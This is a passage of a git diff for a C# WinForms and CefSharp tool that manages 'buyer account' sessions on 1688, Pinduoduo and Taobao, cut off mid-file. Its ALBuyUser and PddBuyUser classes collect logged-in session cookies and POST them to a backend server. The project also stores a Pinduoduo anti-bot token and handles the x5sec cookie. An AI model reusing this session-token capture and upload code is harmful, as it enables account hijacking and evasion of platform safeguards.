+ } + + private void PictureBox1_MouseHover(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::Work.Properties.Resources.close_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox1_MouseLeave(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::Work.Properties.Resources.close; + this.Cursor = Cursors.Default; + + } + + private void PictureBox2_MouseHover(object sender, EventArgs e) + { + this.pbMinBase.Image = global::Work.Properties.Resources.min_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox2_MouseLeave(object sender, EventArgs e) + { + this.pbMinBase.Image = global::Work.Properties.Resources.min; + this.Cursor = Cursors.Default; + + } + + public virtual void HideTitle() + { + // this.panel1.Visible = false; + } + + #region 窗体提交数据完成事件 + public event Action SaveComplete; + protected virtual void OnSaveComplete(object param) + { + this.SaveComplete?.Invoke(param); + } + #endregion + + private void pbNormalBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Normal; + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + + private void pbNormalBase_MouseHover(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::Work.Properties.Resources.normal_hover; + this.Cursor = Cursors.Hand; + } + + private void pbNormalBase_MouseLeave(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::Work.Properties.Resources.normal; + this.Cursor = Cursors.Default; + } + + private void pbMaxBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Maximized; + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + + private void pbMaxBase_MouseHover(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::Work.Properties.Resources.max_hover; + this.Cursor = Cursors.Hand; + } + + private void pbMaxBase_MouseLeave(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::Work.Properties.Resources.max; + this.Cursor = Cursors.Default; + } + private Point mPoint; + private void panel2_MouseDown(object sender, MouseEventArgs e) + { + mPoint = new Point(e.X, e.Y); + } + + private void panel2_MouseMove(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + this.Location = new Point(this.Location.X + e.X - mPoint.X, this.Location.Y + e.Y - mPoint.Y); + } + } + } +} diff --git a/Work/BaseForms/BaseForm.resx b/Work/BaseForms/BaseForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Work/BaseForms/BaseForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Work/BaseForms/BaseMsgForm.Designer.cs b/Work/BaseForms/BaseMsgForm.Designer.cs new file mode 100644 index 0000000..c5511ee --- /dev/null +++ b/Work/BaseForms/BaseMsgForm.Designer.cs @@ -0,0 +1,145 @@ + +namespace Work.BaseForms +{ + partial class BaseMsgForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.pnlCancel = new DevComponents.DotNetBar.PanelEx(); + this.pnlConfirm = new DevComponents.DotNetBar.PanelEx(); + this.picTip = new System.Windows.Forms.PictureBox(); + this.lblMsg = new System.Windows.Forms.Label(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.pnlCancel); + this.panel2.Controls.Add(this.pnlConfirm); + this.panel2.Controls.Add(this.picTip); + this.panel2.Controls.Add(this.lblMsg); + this.panel2.Location = new System.Drawing.Point(3, 32); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(382, 182); + this.panel2.TabIndex = 2; + // + // pnlCancel + // + this.pnlCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlCancel.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCancel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlCancel.Location = new System.Drawing.Point(280, 132); + this.pnlCancel.Name = "pnlCancel"; + this.pnlCancel.Size = new System.Drawing.Size(80, 30); + this.pnlCancel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlCancel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlCancel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Custom; + this.pnlCancel.Style.ForeColor.Color = System.Drawing.Color.Black; + this.pnlCancel.Style.GradientAngle = 90; + this.pnlCancel.TabIndex = 43; + this.pnlCancel.Text = "取 消"; + this.pnlCancel.Click += new System.EventHandler(this.pnlCancel_Click); + // + // pnlConfirm + // + this.pnlConfirm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlConfirm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlConfirm.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlConfirm.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlConfirm.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlConfirm.Location = new System.Drawing.Point(163, 132); + this.pnlConfirm.Name = "pnlConfirm"; + this.pnlConfirm.Size = new System.Drawing.Size(80, 30); + this.pnlConfirm.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlConfirm.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlConfirm.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlConfirm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlConfirm.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.pnlConfirm.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlConfirm.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlConfirm.Style.GradientAngle = 90; + this.pnlConfirm.TabIndex = 42; + this.pnlConfirm.Text = "确 定"; + this.pnlConfirm.Click += new System.EventHandler(this.pnlConfirm_Click); + // + // picTip + // + this.picTip.Location = new System.Drawing.Point(25, 52); + this.picTip.Name = "picTip"; + this.picTip.Size = new System.Drawing.Size(64, 64); + this.picTip.TabIndex = 41; + this.picTip.TabStop = false; + // + // lblMsg + // + this.lblMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lblMsg.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblMsg.Location = new System.Drawing.Point(112, 52); + this.lblMsg.Name = "lblMsg"; + this.lblMsg.Size = new System.Drawing.Size(248, 65); + this.lblMsg.TabIndex = 40; + this.lblMsg.Text = "信息"; + this.lblMsg.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // BaseMsgForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.ClientSize = new System.Drawing.Size(388, 217); + this.Controls.Add(this.panel2); + this.Location = new System.Drawing.Point(0, 0); + this.Name = "BaseMsgForm"; + this.Text = "BaseMsgForm"; + this.TitleText = "BaseMsgForm"; + this.WindowState = System.Windows.Forms.FormWindowState.Normal; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.PanelEx pnlCancel; + private DevComponents.DotNetBar.PanelEx pnlConfirm; + private System.Windows.Forms.PictureBox picTip; + private System.Windows.Forms.Label lblMsg; + } +} \ No newline at end of file diff --git a/Work/BaseForms/BaseMsgForm.cs b/Work/BaseForms/BaseMsgForm.cs new file mode 100644 index 0000000..844a448 --- /dev/null +++ b/Work/BaseForms/BaseMsgForm.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Work.BaseForms +{ + public partial class BaseMsgForm : BaseForm + { + public BaseMsgForm() + { + InitializeComponent(); + this.Minimized = this.MinimizeBox = false; + this.AcceptButton = pnlConfirm; + SetWindowRegion(); + } + #region 设置窗体圆角 + /// + /// 设置窗体的Region + /// + public void SetWindowRegion() + { + //GraphicsPath FormPath; + //Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); + //FormPath = GetRoundedRectPath(rect, 6); + //this.Region = new Region(FormPath); + + Helper.WindowStyle.SetFormRoundRectRgn(this, 6); + Helper.WindowStyle.SetFormRoundRectRgn(this.panel2, 5); + } + /// + /// 绘制圆角路径 + /// + /// + /// + /// + private GraphicsPath GetRoundedRectPath(Rectangle rect, int radius) + { + int diameter = radius; + Rectangle arcRect = new Rectangle(rect.Location, new Size(diameter, diameter)); + GraphicsPath path = new GraphicsPath(); + + // 左上角 + path.AddArc(arcRect, 180, 90); + + // 右上角 + arcRect.X = rect.Right - diameter; + path.AddArc(arcRect, 270, 90); + + // 右下角 + arcRect.Y = rect.Bottom - diameter; + path.AddArc(arcRect, 0, 90); + + // 左下角 + arcRect.X = rect.Left; + path.AddArc(arcRect, 90, 90); + path.CloseFigure();//闭合曲线 + return path; + } + + #endregion + + public static BaseMsgForm ShowInfo(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::Work.Properties.Resources.BaseMsgInfo; + msgBox.ShowDialog(); + return msgBox; + } + + private static BaseMsgForm CreateMsgForm(string msg, FormLevel fl, string title) + { + BaseMsgForm msgBox = new BaseMsgForm { Text = title, lblMsg = { Text = msg }, TitleText = title }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + msgBox.Height = 280; + } + msgBox.pnlConfirm.Location = msgBox.pnlCancel.Location; // 把确认按钮移到取消按钮上面 + msgBox.pnlCancel.Visible = false; + return msgBox; + } + + public static BaseMsgForm ShowError(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统错误" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::Work.Properties.Resources.BaseMsgErr; + msgBox.ShowDialog(); + return msgBox; + } + + public static BaseMsgForm ShowConfirm(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示确认" : caption; + BaseMsgForm msgBox = new BaseMsgForm + { + Text = title, + lblMsg = { Text = msg }, + TitleText = title, + picTip = { Image = global::Work.Properties.Resources.BaseMsgQue } + }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + } + msgBox.ShowDialog(); + return msgBox; + } + + private void pnlConfirm_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.OK; + } + + private void pnlCancel_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.Cancel; + } + } + + public enum FormLevel + { + SMALL, + MEDIUM, + LARGE = 500 + } + +} diff --git a/Work/BaseForms/BaseMsgForm.resx b/Work/BaseForms/BaseMsgForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Work/BaseForms/BaseMsgForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Work/BoundJs.cs b/Work/BoundJs.cs new file mode 100644 index 0000000..02efe60 --- /dev/null +++ b/Work/BoundJs.cs @@ -0,0 +1,44 @@ +using AllBase; +using CefSharp.WinForms; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder +{ + public class BoundJs + { + public static ChromiumWebBrowser OwnerBrowser; + //public SearchSameForm SearchForm; + public BoundJs(ChromiumWebBrowser OwnerBrowserx/*, SearchSameForm searchForm*/)//构造与JS交互的方法 + { + OwnerBrowser = OwnerBrowserx; + //SearchForm = searchForm; + } + public void myfunc(string aniContent) + { + BaseClass.AntiContent = aniContent; + //try + //{ + // JavascriptResponse task = await OwnerBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(PinDuoDuoAntiJs.PinDuoDuo_0anA); + + // BaseClass.AntiContent = task.Result.ToString(); + //} + //catch (Exception) + //{ + + // //throw; + //} + + + } + + public void addproId(string upId) + { + //SearchForm.SetUpProductId(upId); + } + + } +} diff --git a/Work/BuyUsers/ALBuyUser.cs b/Work/BuyUsers/ALBuyUser.cs new file mode 100644 index 0000000..3ca2117 --- /dev/null +++ b/Work/BuyUsers/ALBuyUser.cs @@ -0,0 +1,181 @@ +using AllBase; +using CefSharp; +using NaiBa.CefHelper; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work.BuyUsers +{ + public class ALBuyUser + { + public static Dictionary buyUserCookies = new Dictionary();//拍单买手号 + + private List cookies; + public void DeleteAL() + { + var cookieManager = Cef.GetGlobalCookieManager(); + CEFBrowser.DeleteCookie(cookieManager, "1688.com"); + } + + + /// + /// 保存cookie + /// + public string SaveCookies(List cookie) + { + string cookies = ""; + + foreach (CefSharp.Cookie item in cookie) + { + cookies += item.Name + "=" + item.Value + ";"; + string mainDomain = GetHtml.GetMainDomain(item.Domain); + if (BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name)) + BaseClass.CookiesAll[mainDomain][item.Name] = item.Value; + else + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + } + BaseClass.ChromeCookies = cookies; + foreach (KeyValuePair> co in BaseClass.CookiesAll) // 同步到系统 + { + string cook = ""; + for (int i = 0; i < co.Value.Count; i++) + { + KeyValuePair c = co.Value.ToArray()[i]; + if (c.Key == "x5sec") + { + if (!string.IsNullOrEmpty(c.Value)) + { + cook += c.Key + "=" + c.Value + "; "; + } + else if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + cook += c.Key + "=" + BaseClass.x5Sec + "; "; + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + string mainDomainx = "1688.com"; + string uid = BaseClass.CookiesAll[mainDomainx]["unb"]; + string name = BaseClass.CookiesAll[mainDomainx]["_nk_"]; + name = GetHtml.Decode(name.Replace("%5Cu", "\\u")); + name = HttpUtility.UrlDecode(name); + + + //string cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert"); + StringBuilder data = new StringBuilder(); + data.Append("&user_name=" + name); + data.Append("&site_id=3"); + data.Append("&user_id=" + uid); + data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies)); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + BuyNumber buynumber = new BuyNumber(3, uid, name); + List listcookie = new List(); + foreach (var item in cookie) + { + Cookie c = new Cookie(); + c.Domain = "1688.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = item.Name; + c.Value = item.Value; + c.Path = "/"; + listcookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = listcookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 3; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + + return uid; + } + + public void DelCookies(BuyNumber buynumber) + { + buyUserCookies.Remove(buynumber); + } + /// + /// 添加cookies到集合 + /// + public void AddBuyUserCookies(string uid, string name, string cookies) + { + BuyNumber buynumber = new BuyNumber(3, uid, name); + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + Cookie c = new Cookie(); + c.Domain = "1688.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 3; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + } + + public bool SetAL(string uid, int siteid = -1) + { + var usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == uid); + if (siteid >= 0) + { + usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == uid && x.Value.SiteId == siteid); + } + if (usercookie.Key == null) + { + return false; + } + DeleteAL(); + cookies = usercookie.Value.Cookies; + var cookieManager = Cef.GetGlobalCookieManager(); + //cookieManager.SetStoragePath(Environment.CurrentDirectory, true); + + string domain = "1688.com"; + CEFBrowser.SetCookieAsync(Work.Helper.CEFHelper.CefCookieToCookieStr(cookies), cookieManager); + + return true; + } + } +} diff --git a/Work/BuyUsers/CookieVisitor.cs b/Work/BuyUsers/CookieVisitor.cs new file mode 100644 index 0000000..70997a7 --- /dev/null +++ b/Work/BuyUsers/CookieVisitor.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.BuyUsers +{ + public class CookieVisitor : CefSharp.ICookieVisitor + { + public event Action SendCookie; + + public void Dispose() + { + + } + + public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie) + { + deleteCookie = false; + if (SendCookie != null) + { + SendCookie(cookie); + } + + return true; + } + } +} diff --git a/Work/BuyUsers/PddBuyUser.cs b/Work/BuyUsers/PddBuyUser.cs new file mode 100644 index 0000000..a7bc2eb --- /dev/null +++ b/Work/BuyUsers/PddBuyUser.cs @@ -0,0 +1,340 @@ +using AllBase; +using CefSharp; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work.BuyUsers +{ + public class PddBuyUser + { + public static Dictionary buyUserCookies = new Dictionary();//拍单买手号 + + private BuyNumber buynumber; + private List Cookies; + public void Set(string uid, string cookiesStr = "", int site = -1) + { + try + { + KeyValuePair usercookie; + if (site >= 0) + { + usercookie = buyUserCookies.First(x => x.Value.uid == uid && x.Value.SiteId == site); + } + else + { + usercookie = buyUserCookies.First(x => x.Value.uid == uid); + } + Cookies = usercookie.Value.Cookies;//UserCookies[mobile]; + Delete(); + var cookieManager = Cef.GetGlobalCookieManager(); + //cookieManager.SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.PddMobileUrlx; + string cookiestr = ""; + foreach (Cookie c in Cookies) + { + cookiestr += c.Name + "=" + c.Value + ";"; + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddDays(10), + Path = "/" + }; + try + { + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + catch (Exception ex) + { + + } + + } + new Thread(Set).Start(); + + if (!BaseClass.CookiesAllString.ContainsKey("yangkeduo.com")) + { + BaseClass.CookiesAllString.Add("yangkeduo.com", cookiestr); + } + else + { + BaseClass.CookiesAllString["pinduoduo.com"] = cookiestr; + } + } + catch (Exception ex) + { + + } + } + /// + /// 重试一次设置cookies + /// + public void Set() + { + Thread.Sleep(1000); + try + { + var cookieManager = Cef.GetGlobalCookieManager(); + //cookieManager.SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.PddMobileUrlx; + foreach (Cookie c in Cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddDays(10), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + + } + catch (Exception) + { + + throw; + } + } + public void Delete() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("yangkeduo.com")) + { + var cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies(BaseClass.PddMobileUrlx, name); + //cookieManager.DeleteCookies(BaseClass.PddMobileUrlx, name); + } + catch + { + } + } + } + } + + public void DelCookies(BuyNumber buynumber) + { + buyUserCookies.Remove(buynumber); + } + /// + /// 保存cookie + /// + public void SaveCookies(string uid, string name, List cookie) + { + string cookies = ""; + + foreach (CefSharp.Cookie item in cookie) + { + cookies += item.Name + "=" + item.Value + ";"; + string mainDomain = GetHtml.GetMainDomain(item.Domain); + if (BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name)) + BaseClass.CookiesAll[mainDomain][item.Name] = item.Value; + else + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + } + BaseClass.ChromeCookies = cookies; + foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + { + string cook = ""; + foreach (KeyValuePair c in co.Value) + { + if (c.Key == "x5sec") + { + if (!string.IsNullOrEmpty(c.Value)) + { + cook += c.Key + "=" + c.Value + "; "; + } + else if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + cook += c.Key + "=" + BaseClass.x5Sec + "; "; + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + string mainDomainx = "yangkeduo.com"; + if (BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll[mainDomainx].ContainsKey("pdd_user_id")) + { + BaseClass.PddUid = BaseClass.CookiesAll[mainDomainx]["pdd_user_id"]; + } + + //string cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert"); + StringBuilder data = new StringBuilder(); + data.Append("&user_name=" + name); + data.Append("&site_id=0"); + data.Append("&user_id=" + uid); + data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies)); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + BuyNumber buynumber = new BuyNumber(0, uid, name); + List listcookie = new List(); + foreach (var item in cookie) + { + Cookie c = new Cookie(); + c.Domain = "yangkeduo.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = item.Name; + c.Value = item.Value; + c.Path = "/"; + listcookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = listcookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 0; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + } + + /// + /// 添加cookies到集合 + /// + public void AddBuyUserCookies(string uid, string name, string cookies) + { + BuyNumber buynumber = new BuyNumber(0, uid, name); + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + Cookie c = new Cookie(); + c.Domain = "yangkeduo.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 0; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + } + + } + + + + + public class BuyNumber + { + /// + /// 1淘宝 2拼多多 3阿里巴巴 4京喜 6微店 7抖音 8拼多多批发 + /// + public int site_id { get; set; } + public string name { get; set; } + public string uid { get; set; } + public BuyNumber(int site_id, string uid, string name) + { + this.site_id = site_id; + this.uid = uid; + this.name = name; + } + public override bool Equals(object obj) + { + var buynumber_class = (BuyNumber)obj; + return buynumber_class.site_id == this.site_id && buynumber_class.name == this.name; + } + + public override int GetHashCode() + { + try + { + int site_id_hashcode = site_id.GetHashCode(); + int name_hashcode = name.GetHashCode(); + return site_id_hashcode + name_hashcode; + } + catch (Exception) + { + + } + return 0; + } + } + + public class UserCookies + { + public string UserName = ""; + public string uid = ""; + public List Cookies = new List(); + public string CookiesStr + { + get + { + string cook = ""; + if (Cookies != null) + foreach (var c in Cookies) + cook += c.Name + "=" + c.Value + ";"; + return cook; + } + } + public int SiteId = 0; + public int Times = 0; + } + + public class ComboboxItem + { + public string Text { get; set; } + public object Value { get; set; } + + public override string ToString() + { + return Text; + } + } +} diff --git a/Work/BuyUsers/TaoBaoBuyUser.cs b/Work/BuyUsers/TaoBaoBuyUser.cs new file mode 100644 index 0000000..b585ade --- /dev/null +++ b/Work/BuyUsers/TaoBaoBuyUser.cs @@ -0,0 +1,229 @@ +using AllBase; +using CefSharp; +using NaiBa.CefHelper; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work.BuyUsers +{ + public class TaoBaoBuyUser + { + public static Dictionary buyUserCookies = new Dictionary();//拍单买手号 + public void DeleteTaoBao() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("taobao.com")) + { + var cookies = BaseClass.CookiesAllString["taobao.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name); + cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + if (BaseClass.CookiesAllString.ContainsKey("tmall.com")) + { + var cookies = BaseClass.CookiesAllString["tmall.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name); + cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name); + //cookieManager.Dispose(); + } + catch + { + + } + } + } + + + } + + + /// + /// 保存cookie + /// + public void SaveCookies(List cookie) + { + string cookies = ""; + + foreach (CefSharp.Cookie item in cookie) + { + cookies += item.Name + "=" + item.Value + ";"; + string mainDomain = GetHtml.GetMainDomain(item.Domain); + if 